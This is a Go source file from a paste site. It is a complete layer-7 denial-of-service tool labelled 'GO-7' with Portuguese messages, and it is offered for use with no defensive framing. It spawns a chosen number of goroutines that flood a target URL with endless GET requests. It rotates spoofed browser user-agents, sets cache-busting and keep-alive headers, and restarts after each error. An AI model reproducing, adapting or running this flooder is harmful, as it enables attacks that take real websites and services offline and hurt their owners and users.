Untitled

mail@pastecode.io avatar
unknown
golang
3 years ago
3.2 kB
5
Indexable
Never
package main

import (
	"fmt"
	"math/rand"
	"net/http"
	"net/url"
	"os"
	"os/signal"
	"strconv"
	"sync"
	"sync/atomic"
	"syscall"
	"time"
)

const charset = "ISO-8859-1,utf -8;q=0.7,*;q=0.7"

var (
	dns		   string
	wg         sync.WaitGroup
	numReq     uint64
	userAgents = []string{
		"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
		"Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36",
		"Mozilla/5.0 (Linux; Android 6.0.1; SM-N910C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Mobile Safari/537.36",
		"Mozilla/5.0 (Linux; Android 8.0.0; LND-AL30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Mobile Safari/537.36",
		"Mozilla/5.0 (Linux; Android 4.4.2; SM-T230 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Safari/537.36",
		"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
		"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US",
		"Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
		"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/12.01",
		"Opera/9.80 (Windows NT 5.1; WOW64) Presto/2.12.388 Version/12.17",
	}
)

func httpFlood(h string) {
	var client = &http.Client{
		Timeout: 5 * time.Second,
	}

	_, verbose := os.LookupEnv("VERBOSE")

	for {
		var rq *http.Request
		rq, err := http.NewRequest("GET", h, nil)

		if err != nil {
			if verbose {
				fmt.Fprintln(os.Stderr, err)
			}
			break
		}

		rq.Header.Set("User-Agent", userAgents[rand.Intn(len(userAgents)-1)])
		rq.Header.Set("Cache-Control", "no-cache")
		rq.Header.Set("Accept-Charset", charset)
		rq.Header.Set("Keep-Alive", "182")
		rq.Header.Set("Cookies", "12919291939138288288888")
		rq.Header.Set("Connection", "keep-alive")
		rq.Header.Set("Host", dns)

		rs, err := client.Do(rq)

		if err != nil {
			if verbose {
				fmt.Fprintln(os.Stderr, err)
			}
			break
		}

		atomic.AddUint64(&numReq, 1)
		fmt.Printf("\033[1mRequests\033[0m: %d\t\033[1mResponse\033[0m: %d\r",
			numReq, rs.StatusCode)
		rs.Body.Close()
	}

	httpFlood(h)
}

func main() {
	fmt.Printf("\u001b[7m[GO-7 - Layer7 DoS Tool]\033[0m\n")

	if len(os.Args) < 3 {
		fmt.Fprintf(os.Stderr,
			"Erro: argumentos em falta\nExemplo de uso: %s http://localhost 99 \n", os.Args[0])
		os.Exit(1)
	}

	rurl, err := url.ParseRequestURI(os.Args[1])

	if err != nil {
		fmt.Fprintf(os.Stderr, "Erro: %s não é um URL válido!\n", os.Args[1])
		os.Exit(1)
	}

	dns = rurl.Host

	numThreads, err := strconv.Atoi(os.Args[2])

	if err != nil {
		fmt.Fprintf(os.Stderr, "Erro: '%s' não é um número válido\n", os.Args[2])
		os.Exit(1)
	}

	ctrlc := make(chan os.Signal)
	signal.Notify(ctrlc, os.Interrupt, syscall.SIGTERM)
	go func() {
		<-ctrlc
		fmt.Println("\n-------Atáque terminado-------")
		os.Exit(0)
	}()

	for i := 0; i < numThreads; i++ {
		go httpFlood(os.Args[1])
		wg.Add(1)
	}

	wg.Wait()
}